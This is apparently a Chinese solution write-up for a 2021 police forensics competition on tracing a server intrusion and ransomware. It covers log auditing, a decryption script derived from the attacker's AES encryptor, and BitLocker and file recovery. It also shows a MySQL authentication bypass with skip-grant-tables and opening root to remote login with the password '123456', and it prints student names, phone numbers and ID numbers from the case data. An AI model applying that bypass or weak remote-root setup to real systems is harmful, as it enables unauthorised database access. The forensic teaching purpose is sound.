192.168.232.150 - - [04/May/2021:16:35:32 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E5%BC%A0%E6%99%93&where%5B01%5D%5Bcol%5D=&where%5B01%5D%5Bop%5D=%3D&where%5B01%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100 HTTP/1.1" 200 4645 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" ##/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=張曉&where[01][col]=&where[01][op]==&where[01][val]=&order[0]=&limit=50&text_length=100192.168.232.150 - - [04/May/2021:16:36:14 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E8%B5%B5%E5%A4%A9%E6%AD%8C&where%5B2%5D%5Bcol%5D=&where%5B2%5D%5Bop%5D=%3D&where%5B2%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100 HTTP/1.1" 200 4658 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E5%BC%A0%E6%99%93&where%5B01%5D%5Bcol%5D=&where%5B01%5D%5Bop%5D=%3D&where%5B01%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100" ##/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=趙天歌&where[2][col]=&where[2][op]==&where[2][val]=&order[0]=&limit=50&text_length=100##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=張曉&where[01][col]=&where[01][op]==&where[01][val]=&order[0]=&limit=50&text_length=100192.168.232.150 - - [04/May/2021:16:36:43 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10460 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E8%B5%B5%E5%A4%A9%E6%AD%8C&where%5B2%5D%5Bcol%5D=&where%5B2%5D%5Bop%5D=%3D&where%5B2%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100" ##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=趙天歌&where[2][col]=&where[2][op]==&where[2][val]=&order[0]=&limit=50&text_length=100

查看數(shù)據(jù)庫配置文件,看能不能從日志中審計出有效信息,發(fā)現(xiàn)開啟binlog

binlog是個好東西,記錄增刪改查記錄的的。(4條消息) 什么是 binlog?_xzqxiaoqing的博客-CSDN博客_binlog是什么


binlog搜尋無果,查找其他日志,這里找到還有一個localhost.log

其中記錄了很多數(shù)據(jù)庫操作,對其進行審計,日志量不大,對其審計得通過update方法共修改3人成績

和我們前面web日志審計結(jié)果相同

24 Query UPDATE `score` SET `id` = '20177884', `name` = '胡金保', `tel` = '13122787578', `idcard` = '341202200402111723', `score` = '600' WHERE `id` = '20177884' AND `name` = '胡金保' AND `name` = '胡金保' COLLATE utf8_bin AND `tel` = '13122787578' AND `idcard` = '341202200402111723' AND `score` = '564' LIMIT 124 Quit

28 Query UPDATE `score` SET `id` = '20176743', `name` = '金喆昊', `tel` = '52856616', `idcard` = '310107200511295728', `score` = '600' WHERE `id` = '20176743' AND `name` = '金喆昊' AND `name` = '金喆昊' COLLATE utf8_bin AND `tel` = '52856616' AND `idcard` = '310107200511295728' AND `score` = '538' LIMIT 128 Quit

32 Query UPDATE `score` SET `id` = '20177641', `name` = '范詩怡', `tel` = '13611843060', `idcard` = '310107200310040411', `score` = '600' WHERE `id` = '20177641' AND `name` = '范詩怡' AND `name` = '范詩怡' COLLATE utf8_bin AND `tel` = '13611843060' AND `idcard` = '310107200310040411' AND `score` = '539' LIMIT 1

名字原成績修改后成績
胡金保564600
金喆昊538600
范詩怡539600

14. 嫌疑人入侵服務器后,在數(shù)據(jù)庫中共刪除了52條學生相關(guān)記錄

同樣在日志中可以看到刪除日志

經(jīng)過審計,發(fā)現(xiàn)一條DELETE命令就是對應一條刪除記錄的,對其計數(shù)

15. 將被篡改的數(shù)據(jù)庫修復,統(tǒng)計全部學生信息中,身份證為31開頭的,且分數(shù)大于540分的學生共有1048名

經(jīng)數(shù)據(jù)比較,數(shù)據(jù)恢復出來的數(shù)據(jù)庫和嫌疑人入侵電腦上保存的一份studient.sql數(shù)據(jù)內(nèi)容完全相同

只有導出時的信息略有不同

這個2017年有點出戲,不知道是不是時間編碼問題。

經(jīng)過日志操作數(shù)據(jù)和恢復的數(shù)據(jù)進行對比,可以確定恢復的數(shù)據(jù)庫為修改前的數(shù)據(jù)庫,是一個真實的勒索,沒有撕票。所以僅需對還原得的數(shù)據(jù)庫進行操作即可。

在本地起一個數(shù)據(jù)庫,將sql文件導入,對其進行查詢,當然也能導入數(shù)據(jù)庫后導出為excel進行操作。

起數(shù)據(jù)庫的時候盡量找版本相近的,有些數(shù)據(jù)庫是向下兼容的,有些可能不太行。



SELECT COUNT(*) 身份證為31開頭的,且分數(shù)大于540分的學生 FROM score where idcard LIKE '31%' AND score > 540

王鋒老師的數(shù)據(jù)庫的課好好學

16. 將被篡改的數(shù)據(jù)庫修復,統(tǒng)計全部學生信息中,有12對同名的學生。


1879-1867=12人,有12個重名的

這樣快

SELECT count(*) 學生總數(shù) FROM `score`; SELECT count(DISTINCT name) 去除重名后的學生總數(shù) FROM `score`;

當然也可以使用excel

篩選條件設置完畢后將所有數(shù)據(jù)復制到新表,計數(shù)得1048名學生

同樣篩選同名也可以使用excel實現(xiàn)

將名字導入新表后進行去除重復值操作

直接刪掉12個重復值。這是用最簡單直白的方法去使用excel分析,當然excel也可以使用語句來篩選,但是個人認為這樣不如sql語句來的快,我對excel使用的比較熟練,個人認為大量復雜的需要篩選的數(shù)據(jù)用sql會快很多,很簡單的sql語句也是sql快,畢竟用excel還要導出數(shù)據(jù)。但是一些不簡單不復雜,數(shù)據(jù)量適中而自己又對excel比較熟悉的情況下,excel是非常強大的可視化工具。本人因為平時比較懶,不愛動腦子,使用大多數(shù)分析都是使用excel完成的,現(xiàn)在市面上凡是取證比賽類的這類的數(shù)據(jù)分析,基本上excel都可以解決,畢竟不是他的主要考點。excel真的挺好用的,大家比賽時視情況,使用自己熟悉的工具去解題。

數(shù)據(jù)庫解密

先做完計算機可知其加密方式

根據(jù)后面分析,現(xiàn)對整個加密的數(shù)據(jù)進行解密,在其原有腳本的基礎(chǔ)上,修改編寫解密腳本。

#!/usr/bin/python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import os import time import requests import sys import hashlibfile_list = ['studient.sql.CRY','db.opt.CRY','score.frm.CRY','score.ibd.CRY'] #根據(jù)需要解密的文件進行選擇。def modify_file_inplace(filename, crypto, key, blocksize=4096):with open(filename, 'r+b') as f:plaintext = f.read(blocksize)while plaintext:if len(plaintext) < blocksize:padtext = pad(plaintext, AES.block_size, style='pkcs7')ciphertext = crypto(padtext)else:ciphertext = crypto(plaintext)f.seek(-len(plaintext), 1)f.write(ciphertext)plaintext = f.read(blocksize)machine_id = '95a10a23fca34b69aa8ab9c38230fc9e' time = '202105081333' #根據(jù)需要解密文件的時間戳進行填寫 key = hashlib.sha256((machine_id+time).encode('ascii')).hexdigest()[:32]def main():key = hashlib.sha256((machine_id+time).encode('ascii')).hexdigest()[:32]cipher = AES.new(key[:16].encode('ascii'), AES.MODE_CBC, IV=key[16:].encode('ascii'))print(key)print(key[16:].encode('ascii'))for file in file_list:modify_file_inplace(file, cipher.decrypt, key=key.encode('ascii'))os.rename(file, file+'.decrypt')print(file, 'decrypted.') main()




還原

電腦部分

17. 鏡像PC.e01對應的嫌疑人PC源盤sha256為6EEF51A3737269D631B733AB476B236E055103115D463DAF81529556C1738199

18. PC操作系統(tǒng)安裝時間為2021-05-02 00:30:44(格式要求:YYYY-MM-DD HH:MM:SS,如2019-03-17 14:03:27)

跑一把梭的時候提示有bitlocker加密分區(qū),先爆搜一下恢復密鑰,解密后重新跑一遍取證再做下面的題,不然有些題不一定找得到,或者找出來是誤導項。在文件系統(tǒng)里直接搜“恢復密鑰”這四個字一般都能搜到,如果有修改文件名了,對磁盤用正則匹配恢復密鑰的格式。

可以對比一下解密前后,分析出來的數(shù)據(jù)會多一些,

PC類的題可以多用用取證大師,還不錯。

同樣也需要先解密后重新取證。能取出更多東西。

仿真看可以看到Eraser已經(jīng)刪除過很多文件了

在桌面可以直接看到“貨5.docx”,但是打開是亂碼

office文件本質(zhì)上是一個壓縮包文件,有PK頭的,所以使用壓縮工具打開,打開文件查看,發(fā)現(xiàn)后綴是docx但是實質(zhì)上是個excel文件

修改后綴打開,可以正常打開,有很多數(shù)據(jù)先放著,等做到題目再仔細分析

wps和ms的office套件都會有這個最近打開文檔,看一看最近打開了哪些文檔,這里我們又找到兩個貨,推測貨的編號是連續(xù)的


貨三需要密碼

使用passware爆破

有獨立顯卡的同學記得在選項中勾選使用獨立顯卡,比賽時讓顯卡去跑爆破,cpu留出來進行任務調(diào)度,運行各類取證程序。

存在本地郵件軟件

在E盤找到foxmail本體

打開查看,查看完取證軟件里也要看,有些時候取證軟件能取到一些刪除的郵件和緩存。

在這找到貨2

這幾個文件是一般pc取證的時候需要重點關(guān)注的,建議一個一個打開來看,仿真的優(yōu)勢就在于很直觀的體現(xiàn)數(shù)據(jù),以嫌疑人的思維去操作。

在圖片處找到貨6

使用010打開,010比winhex的優(yōu)點在于有很多內(nèi)置模板,我們很容易可以看到最后的unknownPadding是不屬于jpg的附加數(shù)據(jù),從文件頭看504B0304是個壓縮包,有[Content_Types].xml字段,典型的office文檔,我們將這個壓縮包導出。

也是一個excel文件


在這發(fā)現(xiàn)一個備份文件

實際上是一個qq的備份文件,可能會涉及到一些聊天記錄,聊天文件。

.bak文件應該是一個apk類型的備份,可能帶apk內(nèi)的一些數(shù)據(jù)


這個repair文件大小剛好為102400是很整的一個數(shù),剛好100兆,使用010分析

像是一個磁盤文件

使用取證工具掛載解析,發(fā)現(xiàn)一個被刪除的貨4,導出以備后續(xù)分析

這里發(fā)現(xiàn)一個access.log

這里有一個網(wǎng)站

后續(xù)碰到再分析

這里有個虛擬機,推測是之前入侵服務器用的,直接導出,使用仿真加載vmdk文件,這樣能避免遇到密碼再回來繞過密碼,還可以直接判斷服務器類型。同時放取證軟件里跑一遍,對其情況有個概覽。

存在快照即卷影副本,可能要對兩個都要分析,一般來說前面那個也很重要

這里也可以找到服務器密碼

接下來對入侵虛擬機進行分析

再2444文件夾中發(fā)現(xiàn)疑似遠控程序的控制端的程序

web.log疑似為加密軟件后臺接收的日志

xise中為入侵服務器使用的木馬1.php,webshell管理工具驗證了之前的猜想,是使用了webshell管理工具的,這里我也學到了看到webshell密碼是xise的考慮xise這個工具

db.php數(shù)據(jù)庫配置文件,

studient.sql疑似原本的數(shù)據(jù)庫score表導出文件,這是個好東西,解服務器題的關(guān)鍵

發(fā)現(xiàn)還入侵了很多網(wǎng)站

還有其他幾個文件,等做到再回過頭來看

桌面上這個key-server文件是用python的flask架構(gòu)起一個網(wǎng)站,接收加密文件回傳的key值用的

發(fā)現(xiàn)linux爆破文件,但是設置了密碼

使用壓縮包密碼爆破工具,passware密碼破解一流

先爆破著,實際比賽時不一定要解出,綜合考慮效能。

解了很久沒接出

但是換個角度來看打開記錄可以看到其中的部分內(nèi)容信息

在桌面找到一個linux連接工具winscp,其中保存的連接記錄就是鏈接被入侵主機的,說不定該程序日志中保存著首次登錄明確的時間。

發(fā)現(xiàn)winscp命令執(zhí)行的操作是使用的putty,putty沒有日志

對檢材的基本分析結(jié)束了,接下來就是做題,遇到問題解決問題。

19. 嫌疑人破解服務器密碼使用的工具/軟件名為hydra

破解服務器密碼的使用的工具就是那么幾種,都要熟悉。

他怕我們不知道還特地留了個爆破成功的截圖

20. 嫌疑人PC中,bitlocker分區(qū)恢復秘鑰為327954-438944-621852-201003-531718-502172-098219-240251


只有bitlocker解密了,才能取到關(guān)鍵信息

21. 嫌疑人將所有學生信息拆分為6份文件

拆成了6個貨,具體過程在上面分析的地方。



22. 所有被拆分的學生信息文件中,有一份被刪除,該文件中共有學生信息339條

貨4是被刪過的

共有339條

23. 嫌疑人郵箱地址為234011677@qq.com

24. 嫌疑人曾通過QQ售賣的學生信息,買家QQ號為234011698

這里應該涉及到那個qq的備份文件

25. 嫌疑人首次訪問服務器中上傳的1.php文件的時間為15:42:43(格式要求:HH:MM:SS,如14:03:27)

26. 提取并分析服務器中的加密程序,該程序執(zhí)行后會加密7種不同類型的文件

27. 嫌疑人共加密了4個文件

對/usr/local/mysql/var/studient目錄進行了加密

共加密四個文件

28. 首次成功加密文件的時間為2021-05-08 13:33:13(格式要求:YYYY-MM-DD HH:MM:SS,如2019-03-17 14:03:27)

可以看到在留下來的歷史記錄里還有兩條加密的操作

每執(zhí)行一次操作都會向后臺回傳一條記錄,根據(jù)加密邏輯和程序意圖,應該是對文件夾加密的這一條。

后臺總共有4條記錄,很明顯取證軟件中的兩條對應后兩條,前面兩條的操作記錄可能已經(jīng)被刪除了

這里他問首次加密成功,需要滿足加密成功和首次這兩個條件,多次加密因為文件后綴已無法滿足加密程序的判斷邏輯,所以不會執(zhí)行加密操作。

查看文件修改時間,很明顯對應202105081333這一條,所以首次加密時間為2021-05-08 13:33:13,我們就是根據(jù)該條信息制作密鑰編寫解密程序。

查看具體參數(shù),時間為2021-05-08 13:33:13.487958325 +0800

通過這個地方對文件時間戳的查詢,我們可以看到studient.sql的加密時間是遠晚于其他幾個文件的,所以對studient.sql需要使用其對應的時間戳去解密

29. 該程序?qū)δ繕宋募募用芊绞綖锳ES

30. 該程序?qū)ξ募tudient.sql進行加密時,使用的秘鑰為9ff79decd3d6fbb2

加密腳本就是一個完整的python文件,我們可以修改其內(nèi)容,直接編寫解密腳本,這就是最簡單的逆向類型。各種逆向如遇到這種直接調(diào)用加密庫的可以稍微調(diào)整一下,然后將加密腳本中的encrypt改成decrypt就解密了。

hashlib.sha256((machine_id+time).encode('ascii')).hexdigest()[:32] cipher = AES.new(key[:16].encode('ascii'), AES.MODE_CBC, IV=key[16:].encode('ascii'))

studient.sql的修改時間是15:28,對應的時間戳和機器碼應該是這一條

不要看到上面有單獨的studient.sql就被他迷惑了

他問的是密鑰,而不是key的值,對于aes加密來講,密鑰還需取其前16位,我差點被他騙了。

三題小數(shù)據(jù)分析,第一二題還沒來得及做完。

取證過程中,在其電腦中又發(fā)現(xiàn)了新的線索。

線索1:

民警懷疑加密分區(qū)里的access.rar與另外一起入侵活動有關(guān),可能是嫌疑人拷貝到本地的日志文件。該案中,受害網(wǎng)站管理員于2020年9月15日13點19分報案,稱有黑客篡改了部分網(wǎng)站頁面,并篡改了一張圖片,圖片文件名為:HackFindx.png,文件大小為45924 Byte

31. 該壓縮包的sha256值為

255dea58932a6eec318560643000c64338906c8c3c840a70377cd8ec549b9d4f

32. 該日志共有6079793行(6079794)

日志比較大,用各種工具打開都比較慢,簡單方法就是用個帶行數(shù)計算的編輯器打開即可,現(xiàn)在一般的編輯器都帶行數(shù)計算的,開啟即可。

共有6079793行日志,最有一行是空行,個人認為不算日志

打開可以看到這個工具共有6百多萬條,一般的導成excel分析是實現(xiàn)不了的

這就是一個相對較大的日志了,日志分析最有用的是LogParser或者三劍客進行分析,大家后續(xù)學習中至少熟練掌握兩者中的一個。

大日志先用取證工具跑一遍。這里我經(jīng)過多日的苦苦搜索,找到一個還不錯的軟件,有30天的試用,可以查看日志整體的情況,工具相對較大,多線程也做得比較好,分析起來相對較快。

https://pan.baidu.com/s/1cSMfNmN2TVq-6zBxWFNKAg?pwd=GAME

肉眼審計是不現(xiàn)實的,所以需要用到專業(yè)的日志審計工具Log Parser,這個工具可以使用sql語句直接對日志進行查詢,這個工具還有可視化版本Log Parser Lizard只需關(guān)系sql語句即可。我也是剛開始學習這方面的知識,還沒有積累相對完整體系的查詢語句,接下來僅對題目中用到的語句進行展示和分析。希望有會日志的高手分享一下經(jīng)驗。

這里的計算條數(shù)可以用Log Parser用sql語句查詢得到。

access這類nginx和apache的日志要選擇使用NCSA格式打開。

SELECT TOP 100 * FROM 'C:\Users\admin\Desktop\練習1導出文件\access.log'

使用Log Parser工具的話我們就是像使用數(shù)據(jù)庫一樣去查詢?nèi)罩?#xff0c;而無需管其他一些東西。

對于這題,我們數(shù)一下共有多少條日志

SELECT TOP 100 * FROM 'C:\Users\admin\Desktop\練習1導出文件\access.log'

查詢失敗

使用count(1) 或count(ALL * )

SELECT count(ALL * ) FROM 'C:\Users\admin\Desktop\練習1導出文件\access.log' SELECT count(1) FROM 'C:\Users\admin\Desktop\練習1導出文件\access.log'

怎么查出來少一條,還好之前已經(jīng)使用文本編輯器查看過行數(shù)了

33. 嫌疑人篡改HackFindx.png時使用的IP地址是180.121.158.139

查詢request或者referer這兩個字段中哪個包含HackFindx.png

34. 入侵發(fā)生前,嫌疑人最近一次掃描網(wǎng)站時所使用的IP地址是47.98.167.62

35. 接上題,這個IP地址在日志文件中出現(xiàn)的總次數(shù)是36656

36. 2020年內(nèi),請求不存在頁面總次數(shù)超過1000次的IP共有19個

37. 2020年內(nèi),請求不存在頁面總次數(shù)最多的IP是183.224.79.34,共有12469次

線索2:

民警懷疑加密分區(qū)里的web.rar與另外一起入侵活動有關(guān),可能是嫌疑人拷貝到本地的網(wǎng)站源碼和日志文件。該案中,受害網(wǎng)站于2020年5月9日左右被入侵并被掛暗鏈,搜索該網(wǎng)站域名時會跳轉(zhuǎn)到其他違法頁面。據(jù)嫌疑人交代,入侵中曾使用了名為bypass.php的后門文件,隨后刪除了該文件。

38. 壓縮包sha256

ef4261344dca73a04eb0e8660985db9d6e85a6630e9c0a1ae1a4ed5464573201

先對網(wǎng)站整體架構(gòu)進行分析,對各個文件進行查看。

39. 后門文件bypass.php的可能刪除時間為18:14:30至18:14:35之間(格式要求:HH:MM:SS,如14:03:27)

40. 嫌疑人為后門文件設置的密碼為admin

41. 被篡改的網(wǎng)站源碼文件名是index(1).php

42. 暗鏈中對應的的違法網(wǎng)站域名為132126.com

線索3:

據(jù)嫌疑人交代,其個人電腦的MySQL數(shù)據(jù)庫中也保存著一份公民信息,但MySQL很久未登錄賬號密碼均已經(jīng)忘記了。

這題涉及到windows系統(tǒng)mysql取證,可以直接以仿真的形式去虛擬機中取。一個是使用取證工具直接導出數(shù)據(jù)庫。取證工具直接導出沒有什么難度,先簡單介紹一下。

取證工具

再工具箱內(nèi)安裝弘聯(lián)取證工具的數(shù)據(jù)庫取證插件

直接再分析頁面點擊數(shù)據(jù)庫分析即可。

根據(jù)題目需求去對對應的數(shù)據(jù)庫中的信息分析即可。

工具還是有點問題的,不能顯示。工具不一定可靠,手工得要會,工具要熟練。

導出

將數(shù)據(jù)data目錄導出至我們自己的數(shù)據(jù)庫中,注意要選擇版本相近引擎相同的數(shù)據(jù)庫。

新建一個mysql8的數(shù)據(jù)庫,將原來的data刪除,復制data進去。后續(xù)需進行一些調(diào)錯的操作,也是一種搭建數(shù)據(jù)庫的方法。

仿真

仿真中,發(fā)現(xiàn)mysql并沒有設置環(huán)境變量

搜索mysql,發(fā)現(xiàn)是安裝了mysql的

點這個command line工具進行登錄數(shù)據(jù)庫,但是有密碼


(7條消息) Mysql8.0以上重置初始密碼的方法_Jplusztx的博客-CSDN博客_mysql8.0初始密碼

服務名無效


查看服務,服務名為mysql80

mysqld --console --skip-grant-tables --shared-memory

報錯,發(fā)現(xiàn)是因為程序目錄下缺少配置信息my.ini,但我們在數(shù)據(jù)目錄下發(fā)現(xiàn)有該配置文件,拷貝過來即可成功運行該語句

(7條消息) Mysql 80 解決忘記密碼無法跳過錯誤 mysqld --console --skip-grant-tables --shared-memory 代碼無效的問題_陸深Jason的博客-CSDN博客_mysql8 跳過密碼

已繞過密碼

43. 該數(shù)據(jù)庫有3個允許遠程登錄的賬號

mysql的賬號信息存儲在mysql系統(tǒng)數(shù)據(jù)庫mysql庫中,查看mysql庫中的數(shù)據(jù)

開始查詢

共有三個賬戶允許遠程登陸

C:\Program Files\MySQL\MySQL Server 8.0\bin>mysql -u root -p Enter password: * Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 8 Server version: 8.0.25 MySQL Community Server - GPLCopyright (c) 2000, 2021, Oracle and/or its affiliates.Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | student | | sys | +--------------------+ 5 rows in set (0.00 sec)mysql> use mysql; Database changed mysql> show tables; +------------------------------------------------------+ | Tables_in_mysql | +------------------------------------------------------+ | columns_priv | | component | | db | | default_roles | | engine_cost | | func | | general_log | | global_grants | | gtid_executed | | help_category | | help_keyword | | help_relation | | help_topic | | innodb_index_stats | | innodb_table_stats | | password_history | | plugin | | procs_priv | | proxies_priv | | replication_asynchronous_connection_failover | | replication_asynchronous_connection_failover_managed | | role_edges | | server_cost | | servers | | slave_master_info | | slave_relay_log_info | | slave_worker_info | | slow_log | | tables_priv | | time_zone | | time_zone_leap_second | | time_zone_name | | time_zone_transition | | time_zone_transition_type | | user | +------------------------------------------------------+ 35 rows in set (0.08 sec)mysql> select user,host from user; +------------------+-----------+ | user | host | +------------------+-----------+ | sae_user | % | | student | % | | zhao4 | % | | mysql.infoschema | localhost | | mysql.session | localhost | | mysql.sys | localhost | | root | localhost | +------------------+-----------+ 7 rows in set (0.00 sec)mysql>

44. student表中,info字段的數(shù)據(jù)類型是BLOB

mysql> use student; Database changed mysql> show tables; +-------------------+ | Tables_in_student | +-------------------+ | student | +-------------------+ 1 row in set (0.00 sec) mysql> describe student; +-------+------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+------+------+-----+---------+-------+ | info | blob | YES | | NULL | | +-------+------+------+-----+---------+-------+ 1 row in set (0.04 sec)

45. 該數(shù)據(jù)庫中共記錄了學生信息4條

由于student數(shù)據(jù)庫是blob類型的數(shù)據(jù),且root用戶不允許外聯(lián),而且同學們對sql語句比較生疏,所以我們設置root用戶允許外聯(lián),修改root密碼,停止繞過密碼,使用navicat連接查看。

mysql> select host, user, authentication_string, plugin from mysql.user; +-----------+------------------+------------------------------------------------------------------------+-----------------------+ | host | user | authentication_string | plugin | +-----------+------------------+------------------------------------------------------------------------+-----------------------+ | % | sae_user | *97D8E5ED2EE9FE9809C66F39EE89AAC6436A6BD2 | mysql_native_password | | % | student | *1308E0FCD43112F8D948AB093F54892CB7B220AA | mysql_native_password | | % | zhao4 | *E34812A167F82B0880CEC1F835BE786C42E3E66A | mysql_native_password | | localhost | mysql.infoschema | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password | | localhost | mysql.session | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password | | localhost | mysql.sys | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password | | localhost | root | *97D8E5ED2EE9FE9809C66F39EE89AAC6436A6BD2 | mysql_native_password | +-----------+------------------+------------------------------------------------------------------------+-----------------------+ 7 rows in set (0.00 sec)mysql> use mysql; Database changed mysql> update user set host='%' where user = 'root'; Query OK, 1 row affected (0.02 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql> ALTER USER 'root'@'%' IDENTIFIED WITH MYSQL_NATIVE_PASSWORD BY '123456'; Query OK, 0 rows affected (0.02 sec) mysql> flush privileges; Query OK, 0 rows affected (0.06 sec) mysql> select host, user, authentication_string, plugin from mysql.user; +-----------+------------------+------------------------------------------------------------------------+-----------------------+ | host | user | authentication_string | plugin | +-----------+------------------+------------------------------------------------------------------------+-----------------------+ | % | root | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 | mysql_native_password | | % | sae_user | *97D8E5ED2EE9FE9809C66F39EE89AAC6436A6BD2 | mysql_native_password | | % | student | *1308E0FCD43112F8D948AB093F54892CB7B220AA | mysql_native_password | | % | zhao4 | *E34812A167F82B0880CEC1F835BE786C42E3E66A | mysql_native_password | | localhost | mysql.infoschema | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password | | localhost | mysql.session | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password | | localhost | mysql.sys | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password | +-----------+------------------+------------------------------------------------------------------------+-----------------------+ 7 rows in set (0.00 sec) mysql> exit Bye

將之前的窗口全部關(guān)閉,重啟服務即可遠程連接。



可以看到這個blob數(shù)據(jù)為一個圖像,其中有4條數(shù)據(jù)

總結(jié)

以上是生活随笔為你收集整理的2021 河北取证比武决赛个人赛 题解 入侵溯源的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。